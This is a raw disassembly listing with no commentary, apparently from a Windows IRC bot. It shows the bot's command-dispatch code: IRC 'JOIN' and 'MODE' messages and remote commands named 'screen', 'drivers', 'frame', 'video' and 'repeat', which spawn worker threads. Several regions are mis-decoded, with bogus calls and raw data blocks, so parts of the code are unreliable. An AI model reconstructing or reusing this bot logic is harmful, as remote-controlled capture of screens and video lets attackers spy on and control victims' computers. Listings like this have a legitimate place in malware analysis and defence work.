					; seg000:004065DCj
		push	edi
		push	dword ptr [ebp+18h]
		call	near ptr 0B10000h
		jb	short loc_408178
		sal	byte ptr [edi+ebx+57h],	8Dh
		test	[eax-3], eax
; ---------------------------------------------------------------------------
		db 0FFh
		dd 1875FFFFh, 42B7E468h, 2006800h, 0E8500000h, 13960h
		dd 0FFBEA3E9h, 0B7D868FFh, 11E80042h, 50000101h, 0FD40858Dh
		dd 68FFFFh, 50000002h, 1393FE8h, 10C48300h, 0FFEC70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_408239:				; CODE XREF: seg000:00406597j
					; seg000:004065AEj
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-3C6Ch]
		push	104h
		push	eax
		call	sub_41BB70
		add	esp, 0Ch
		cmp	[ebp-0Ch], ebx
		jz	short loc_408273
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408273
		push	eax
		lea	eax, [ebp-3B68h]
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_408273:				; CODE XREF: seg000:00408253j
					; seg000:00408262j
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-3CECh]
		push	80h
		push	eax
		call	sub_41BB70
		mov	eax, [ebp+0Ch]
		mov	[ebp-3CF0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-3A60h], eax
		mov	eax, [ebp-8]
		mov	[ebp-3A5Ch], eax
		lea	eax, [ebp-3B68h]
		push	eax
		lea	eax, [ebp-3C6Ch]
		push	eax
		push	offset unk_42B7A8
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41BB70
		push	ebx
		lea	eax, [ebp-2C0h]
		push	24h
		push	eax
		call	sub_40AF71
		add	esp, 2Ch
		mov	[ebp-3A64h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3CF0h]
		push	ebx
		push	eax
		push	offset byte_416D13
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-3A64h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_408338
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B76C


loc_40831C:				; CODE XREF: seg000:004024FDj
					; seg000:00402523j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	loc_4023FC
; ---------------------------------------------------------------------------


loc_408330:				; CODE XREF: seg000:0040833Ej
		push	32h
		call	ds:dword_428064	; Sleep


loc_408338:				; CODE XREF: seg000:0040830Ej
		cmp	[ebp-3A58h], ebx
		jz	short loc_408330
		jmp	loc_4023FC
; ---------------------------------------------------------------------------


loc_408345:				; CODE XREF: seg000:00406569j
					; seg000:00406580j
		push	44h
		lea	eax, [ebp-664h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B780
		push	dword ptr [ebp+18h]
		mov	[ebp-664h], esi
		xor	esi, esi
		mov	[ebp-634h], bx
		inc	esi
		mov	[ebp-638h], esi
		call	sub_41B969
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408384
		mov	word ptr [ebp-634h], 5


loc_408384:				; CODE XREF: seg000:00408379j
		cmp	[ebp-0Ch], ebx
		jz	loc_406C7F
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406C7F
		lea	eax, [ebp-0DACh]
		push	eax
		lea	eax, [ebp-664h]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 0B10000h
		and	al, 85h
		ror	byte ptr [ebp-2BF7Bh], 0FFh
		jnz	short loc_4083D3
		push	offset unk_42B748
		jmp	loc_406205
; ---------------------------------------------------------------------------


loc_4083D3:				; CODE XREF: seg000:004083C7j
		push	edi
		push	offset dword_42B72C
		jmp	loc_406C76
; ---------------------------------------------------------------------------


loc_4083DE:				; CODE XREF: seg000:0040653Bj
					; seg000:00406552j
		push	edi
		push	offset aFenr	; "FEnR"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408550
		lea	eax, [ebp-48ECh]
		push	eax
		push	104h
		call	near ptr 0B10000h
		and	ebp, [eax-1]
; ---------------------------------------------------------------------------
		db 0
		dd 858D0000h, 0FFFFD78Ch, 501875FFh, 133C7E8h, 6C858D00h
		dd 50FFFFE8h, 2846E8h, 858D5000h, 0FFFFB714h, 8C858D50h
		dd 68FFFFD8h, 42B720h, 3638E850h, 848B0001h, 0FFFF7C35h
		dd 20C483FFh, 85C7C33Bh, 0FFFFD990h, 1,	0D9949D89h, 1474FFFFh
		dd 5053106Ah, 13B50E8h,	0CC48300h, 0D99C8589h, 6EBFFFFh
		dd 0D99C9D89h, 748BFFFFh, 0F33B8035h, 0E8560F74h, 134E5h
		dd 98858959h, 0EBFFFFD9h, 989D8906h, 0FFFFFD9h,	0F70985B6h
		dd 758BFFFFh, 0FF7F6A0Ch, 0FFFF78B5h, 0A08589FFh, 8DFFFFD9h
		dd 0FFD70C85h, 8B589FFh, 50FFFFD7h, 13323E8h, 0FC458B00h
		dd 891875FFh, 0FFD9A885h, 0F8458BFFh, 0D9A48589h, 858DFFFFh
		dd 0FFFFFD40h, 42B6F468h, 93E85000h, 56000135h,	0FD40858Dh
		dd 1E6AFFFFh, 2A7FE850h, 0C4830000h, 8C858924h,	8DFFFFD9h
		dd 8D50F045h, 0FFD70885h, 685053FFh, 41647Eh, 15FF5353h
		dd 42807Ch, 0D98C8D8Bh,	0C969FFFFh, 234h, 8189C33Bh, 440B4Ch
		dd 15FF1975h, 42808Ch, 0B6B86850h, 35E90042h, 6AFFFFE7h
		dd 6415FF32h, 39004280h, 0FFD9AC9Dh, 0E9F074FFh, 0FFFFE72Fh
; ---------------------------------------------------------------------------


loc_408550:				; CODE XREF: seg000:004083EDj
		push	offset dword_42B670
		jmp	loc_4061FF
; ---------------------------------------------------------------------------


loc_40855A:				; CODE XREF: seg000:0040650Dj
					; seg000:00406524j
		push	dword ptr [ebp-8Ch]
		push	offset dword_42DFCC
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F82
		cmp	[ebp-0Ch], ebx
		jz	loc_401F82
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	offset dword_42B65C
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41B7E0
		push	dword ptr [ebp+18h]
		call	sub_41B969
		add	esp, 30h
		test	eax, eax
		jle	short loc_4085E3
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_428064	; Sleep


loc_4085E3:				; CODE XREF: seg000:004085CBj
		push	offset dword_42B648
		call	sub_4152AE
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_401F85
; ---------------------------------------------------------------------------


loc_4085F7:				; CODE XREF: seg000:004064DFj
					; seg000:004064F6j
		push	dword ptr [ebp-8Ch]
		push	offset dword_42DFCC
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F82
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C260
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp-2C0h]
		jz	short loc_4086B2
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	offset dword_42B65C
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_42B630
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		push	dword ptr [ebp+18h]
		call	sub_41B969
		add	esp, 38h
		test	eax, eax
		jle	loc_409753
		push	dword ptr [ebp+18h]
		call	sub_41B969
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_401F85
; ---------------------------------------------------------------------------


loc_4086B2:				; CODE XREF: seg000:0040863Dj
		push	offset unk_42B5FC
		jmp	loc_408F37
; ---------------------------------------------------------------------------


loc_4086BC:				; CODE XREF: seg000:004064B1j
					; seg000:004064C8j
		push	7Fh
		lea	eax, [ebp-207Ch]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		push	7Fh
		lea	eax, [ebp-1FFCh]
		push	edi
		push	eax
		call	sub_41B7E0
		push	7Fh
		lea	eax, [ebp-1F7Ch]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41B7E0
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-1EF8h], eax
		mov	eax, [ebp-8]
		push	edi
		mov	[ebp-1EF4h], eax
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		mov	[ebp-2080h], esi
		push	offset unk_42B5C8
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Fh
		push	eax
		call	sub_40AF71
		add	esp, 40h
		mov	[ebp-1EFCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2080h]
		push	ebx
		push	eax
		push	offset word_4144F2
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-1EFCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_408780
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B58C
		jmp	loc_408844
; ---------------------------------------------------------------------------


loc_408778:				; CODE XREF: seg000:00408786j
		push	32h
		call	ds:dword_428064	; Sleep


loc_408780:				; CODE XREF: seg000:00408765j
		cmp	[ebp-1EF0h], ebx
		jz	short loc_408778
		jmp	loc_408853
; ---------------------------------------------------------------------------


loc_40878D:				; CODE XREF: seg000:00406483j
					; seg000:0040649Aj
		push	7Fh
		lea	eax, [ebp-23A4h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		push	7Fh
		lea	eax, [ebp-2324h]
		push	edi
		push	eax
		call	sub_41B7E0
		push	7Fh
		lea	eax, [ebp-22A4h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41B7E0
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-2220h], eax
		mov	eax, [ebp-8]
		push	edi
		mov	[ebp-221Ch], eax
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		mov	[ebp-23A8h], esi
		push	offset dword_42B560
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	11h
		push	eax
		call	sub_40AF71
		add	esp, 40h
		mov	[ebp-2224h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-23A8h]
		push	ebx
		push	eax
		push	offset word_413C9A
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-2224h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40887B
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B524


loc_408844:				; CODE XREF: seg000:00408773j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		add	esp, 0Ch


loc_408853:				; CODE XREF: seg000:00408788j
					; seg000:00408883j
		cmp	[ebp-8], ebx
		jnz	loc_403FC8
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	esi
		jmp	loc_403FC0
; ---------------------------------------------------------------------------


loc_408873:				; CODE XREF: seg000:00408881j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40887B:				; CODE XREF: seg000:00408836j
		cmp	[ebp-2218h], ebx
		jz	short loc_408873
		jmp	short loc_408853
; ---------------------------------------------------------------------------


loc_408885:				; CODE XREF: seg000:00406455j
					; seg000:0040646Cj
		push	edi
		lea	eax, [ebp-2C0h]
		push	offset dword_42B51C
		push	eax
		call	sub_41BA76
		push	dword ptr [ebp+18h]
		call	sub_41B969
		add	esp, 10h


loc_4088A2:				; CODE XREF: seg000:0040890Dj
		test	eax, eax
		jle	loc_409753
		push	dword ptr [ebp+18h]
		call	sub_41B969
		cmp	eax, 400h
		pop	ecx
		jge	loc_409753


loc_4088BE:				; CODE XREF: seg000:00409484j
		lea	eax, [ebp-2C0h]
		push	eax
		push	offset dword_42B514
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		push	ds:dword_440B44[eax]
		call	sub_409920
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_4088E9:				; CODE XREF: seg000:00406427j
					; seg000:0040643Ej
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-2C0h]
		push	edi
		push	offset dword_42B508
		push	eax
		call	sub_41BA76
		push	dword ptr [ebp+18h]
		call	sub_41B969
		add	esp, 14h
		jmp	short loc_4088A2
; ---------------------------------------------------------------------------


loc_40890F:				; CODE XREF: seg000:004063F9j
					; seg000:00406410j
		push	edi
		lea	eax, [ebp-2C0h]
		push	offset dword_42CB10
		push	eax
		call	sub_41BA76
		mov	esi, [ebp+18h]
		push	esi
		call	sub_41B969
		add	esp, 10h
		test	eax, eax
		jle	loc_409753
		push	esi
		call	sub_41B969
		cmp	eax, 400h
		pop	ecx
		jge	loc_409753
		lea	eax, [ebp-2C0h]
		push	eax
		push	offset dword_42B514
		push	esi
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		push	ds:dword_440B44[eax]
		call	sub_409920
		push	edi
		push	esi
		push	offset dword_42B4EC


loc_408972:				; CODE XREF: seg000:004089FAj
					; seg000:00408A66j ...
		call	sub_415322
		jmp	loc_404276
; ---------------------------------------------------------------------------


loc_40897C:				; CODE XREF: seg000:004063CBj
					; seg000:004063E2j
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089AB
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_42B4E4
		push	eax
		call	sub_41BA76
		add	esp, 0Ch


loc_4089AB:				; CODE XREF: seg000:00408994j
		mov	edi, [ebp+18h]
		push	edi
		call	sub_41B969
		test	eax, eax
		pop	ecx
		jle	loc_409753
		push	edi
		call	sub_41B969
		cmp	eax, 400h
		pop	ecx
		jge	loc_409753
		lea	eax, [ebp-2C0h]
		push	eax
		push	offset dword_42B514
		push	edi
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		push	ds:dword_440B44[eax]
		call	sub_409920
		push	esi
		push	edi
		push	offset dword_42B4C8
		jmp	loc_408972
; ---------------------------------------------------------------------------


loc_4089FF:				; CODE XREF: seg000:0040639Dj
					; seg000:004063B4j
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409753
		mov	edi, [ebp+18h]
		push	edi
		call	sub_41B969
		test	eax, eax
		pop	ecx
		jle	loc_409753
		push	edi
		call	sub_41B969
		cmp	eax, 400h
		pop	ecx
		jge	loc_409753
		push	esi
		push	offset dword_42B514
		push	edi
		call	sub_41B969
		imul	eax, 234h
		pop	ecx
		push	ds:dword_440B44[eax]
		call	sub_409920
		push	esi
		push	edi
		push	offset dword_42B4AC
		jmp	loc_408972
; ---------------------------------------------------------------------------


loc_408A6B:				; CODE XREF: seg000:0040636Fj
					; seg000:00406386j
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409753
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	esi
		push	offset unk_42B484


loc_408A9F:				; CODE XREF: seg000:0040961Dj
					; seg000:0040963Aj ...
		call	sub_415322
		jmp	loc_4034C3
; ---------------------------------------------------------------------------


loc_408AA9:				; CODE XREF: seg000:00406341j
					; seg000:00406358j
		push	dword ptr [ebp-8Ch]
		push	offset dword_42DFCC
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F82
		push	edi
		push	offset dword_42B478
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	dword ptr [ebp+18h]
		call	sub_41B969
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_428064	; Sleep
		push	dword ptr [ebp+esi-84h]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	offset dword_42B464
		call	sub_4152AE
		jmp	loc_4034C3
; ---------------------------------------------------------------------------


loc_408B0D:				; CODE XREF: seg000:00406313j
					; seg000:0040632Aj
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	dword ptr [ebp+18h]
		call	sub_41B1D0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_41B1D0
		add	eax, [ebp-0Ch]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BAF0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409753
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_42BB9C
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	ebx
		push	eax
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		push	esi
		push	dword ptr [ebp+18h]
		push	offset unk_42B448
		call	sub_415322
		add	esp, 2Ch
		jmp	loc_409753
; ---------------------------------------------------------------------------


loc_408B7F:				; CODE XREF: seg000:004062E5j
					; seg000:004062FCj
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	dword ptr [ebp+18h]
		call	sub_41B1D0
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_41B1D0
		add	eax, [ebp-0Ch]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BAF0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409753
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		push	esi
		push	dword ptr [ebp+18h]
		push	offset unk_42B428
		call	sub_415322
		add	esp, 20h
		jmp	loc_409753
; ---------------------------------------------------------------------------


loc_408BD9:				; CODE XREF: seg000:004062B7j
					; seg000:004062CEj
		cmp	[ebp-0Ch], ebx
		jz	loc_401F82
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F82
		push	eax
		push	dword ptr [ebp+18h]
		call	sub_4151B6
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_42B408
		push	eax
		call	sub_41BA76
		add	esp, 14h
		jmp	loc_403FA7
; ---------------------------------------------------------------------------


loc_408C1A:				; CODE XREF: seg000:00406289j
					; seg000:004062A0j
		push	edi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4186C5


loc_408C2F:				; CODE XREF: seg000:004040ECj
		add	esp, 14h
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_408C37:				; CODE XREF: seg000:0040624Bj
					; seg000:00406260j
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+24h]
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409753
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		jz	short loc_408CD2
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp-2C0h]
		jz	short loc_408CC0
		push	esi
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	offset dword_42B65C
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-2C0h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41B7E0
		push	esi
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+18h]
		push	offset unk_42B3E0
		push	eax
		call	sub_41BA76
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_4090A4
; ---------------------------------------------------------------------------


loc_408CC0:				; CODE XREF: seg000:00408C6Cj
		push	offset unk_42B3B0
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		jmp	loc_4090A4
; ---------------------------------------------------------------------------


loc_408CD2:				; CODE XREF: seg000:00408C55j
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_41AECC
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset dword_42B394
		push	200h
		push	eax
		call	sub_41BB70
		add	esp, 24h
		jmp	loc_4090A4
; ---------------------------------------------------------------------------


loc_408D1B:				; CODE XREF: seg000:00406221j
					; seg000:00406236j
		push	offset aScreen	; "screen"
		push	dword ptr [ebp+18h]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D76
		mov	edi, [ebp+esi-88h]
		cmp	edi, ebx
		jz	short loc_408D63
		push	edi
		call	loc_4154BE
		cmp	eax, 1
		pop	ecx
		lea	eax, [ebp-2C0h]
		jnz	short loc_408D5C
		push	edi
		push	offset unk_42B360
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	short loc_408D76
; ---------------------------------------------------------------------------


loc_408D5C:				; CODE XREF: seg000:00408D49j
		push	offset unk_42B330
		jmp	short loc_408D6E
; ---------------------------------------------------------------------------


loc_408D63:				; CODE XREF: seg000:00408D37j
		push	offset unk_42B2F4
		lea	eax, [ebp-2C0h]


loc_408D6E:				; CODE XREF: seg000:00408D61j
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_408D76:				; CODE XREF: seg000:00408D2Cj
					; seg000:00408D5Aj
		push	offset aDrivers	; "drivers"
		push	dword ptr [ebp+18h]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E03
		xor	edi, edi


loc_408D8B:				; CODE XREF: seg000:00408DEEj
		lea	eax, [ebp-53F4h]
		push	1FFh
		push	eax
		lea	eax, [ebp-4EECh]
		push	0FFh
		push	eax
		push	edi
		call	ds:dword_4CDC28
		test	eax, eax
		jz	short loc_408DEA
		lea	eax, [ebp-53F4h]
		push	eax
		lea	eax, [ebp-4EECh]
		push	eax
		push	edi
		lea	eax, [ebp-5D84h]
		push	offset unk_42B2C4
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-5D84h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 28h


loc_408DEA:				; CODE XREF: seg000:00408DACj
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408D8B
		lea	eax, [ebp-2C0h]
		push	offset unk_42B29C
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_408E03:				; CODE XREF: seg000:00408D87j
		push	offset aFrame	; "frame"
		push	dword ptr [ebp+18h]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408EA4
		cmp	[ebp+esi-88h], ebx
		jz	short loc_408E91
		cmp	[ebp+esi-84h], ebx
		jz	short loc_408E91
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		jz	short loc_408E91
		mov	eax, [ebp+esi-7Ch]
		cmp	eax, ebx
		jz	short loc_408E91
		push	eax
		call	sub_41B969
		pop	ecx
		push	eax
		push	edi
		call	sub_41B969
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-84h]
		call	sub_41B969
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-88h]
		call	sub_4156F9
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp-2C0h]
		jnz	short loc_408E8A
		push	dword ptr [ebp+esi-88h]
		push	offset unk_42B268
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	short loc_408EA4
; ---------------------------------------------------------------------------


loc_408E8A:				; CODE XREF: seg000:00408E71j
		push	offset unk_42B234
		jmp	short loc_408E9C
; ---------------------------------------------------------------------------


loc_408E91:				; CODE XREF: seg000:00408E21j
					; seg000:00408E2Aj ...
		push	offset unk_42B1FC
		lea	eax, [ebp-2C0h]


loc_408E9C:				; CODE XREF: seg000:00408E8Fj
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_408EA4:				; CODE XREF: seg000:00408E14j
					; seg000:00408E88j
		push	offset aVideo	; "video"
		push	dword ptr [ebp+18h]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409083
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+24h], eax
		jz	loc_408F4F
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	short loc_408F4F
		mov	eax, [ebp+esi-80h]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_408F4F
		mov	edi, [ebp+esi-7Ch]
		cmp	edi, ebx
		jz	short loc_408F4F
		mov	esi, [ebp+esi-78h]
		cmp	esi, ebx
		jz	short loc_408F4F
		push	esi
		call	sub_41B969
		pop	ecx
		push	eax
		push	edi
		call	sub_41B969
		pop	ecx
		push	eax
		push	dword ptr [ebp+20h]
		call	sub_41B969
		pop	ecx
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41B969
		pop	ecx
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_4158F2
		add	esp, 14h
		test	eax, eax
		lea	eax, [ebp-2C0h]
		jnz	short loc_408F45
		push	dword ptr [ebp+24h]
		push	offset unk_42B1C8


loc_408F37:				; CODE XREF: seg000:004086B7j
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	loc_409083
; ---------------------------------------------------------------------------


loc_408F45:				; CODE XREF: seg000:00408F2Dj
		push	offset unk_42B188
		jmp	loc_40907B
; ---------------------------------------------------------------------------


loc_408F4F:				; CODE XREF: seg000:00408EC7j
					; seg000:00408ED9j ...
		push	offset unk_42B148
		lea	eax, [ebp-2C0h]
		jmp	loc_40907B
; ---------------------------------------------------------------------------


loc_408F5F:				; CODE XREF: seg000:00405B2Cj
					; seg000:00405B41j
		push	offset aR	; "r"
		push	dword ptr [ebp+18h]
		call	sub_41B6B2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_408FDD
		mov	esi, 200h
		push	edi
		lea	eax, [ebp-2C0h]
		push	esi
		push	eax
		call	sub_41BD3F
		add	esp, 0Ch
		jmp	short loc_408FB7
; ---------------------------------------------------------------------------


loc_408F8C:				; CODE XREF: seg000:00408FB9j
		push	1
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		push	edi
		lea	eax, [ebp-2C0h]
		push	esi
		push	eax
		call	sub_41BD3F
		add	esp, 20h


loc_408FB7:				; CODE XREF: seg000:00408F8Aj
		test	eax, eax
		jnz	short loc_408F8C
		push	edi
		call	sub_41B24B
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_42B124
		push	eax
		call	sub_41BA76
		add	esp, 10h
		jmp	loc_406CA0
; ---------------------------------------------------------------------------


loc_408FDD:				; CODE XREF: seg000:00408F72j
		push	dword ptr [ebp+18h]
		push	offset unk_42B100
		jmp	loc_406C70
; ---------------------------------------------------------------------------


loc_408FEA:				; CODE XREF: seg000:00405B02j
					; seg000:00405B17j
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409753
		push	offset asc_42B0FC ; "\n"
		push	esi
		call	sub_41C0B0
		push	esi
		call	sub_419C1B
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp-2C0h]
		jnz	short loc_40902F
		push	offset unk_42B0D0
		jmp	short loc_40907B
; ---------------------------------------------------------------------------


loc_40902F:				; CODE XREF: seg000:00409026j
		push	esi
		push	offset dword_42B0B8
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	short loc_4090A4
; ---------------------------------------------------------------------------


loc_409040:				; CODE XREF: seg000:00405AD8j
					; seg000:00405AEDj
		cmp	[ebp-0Ch], ebx
		jz	loc_409753
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
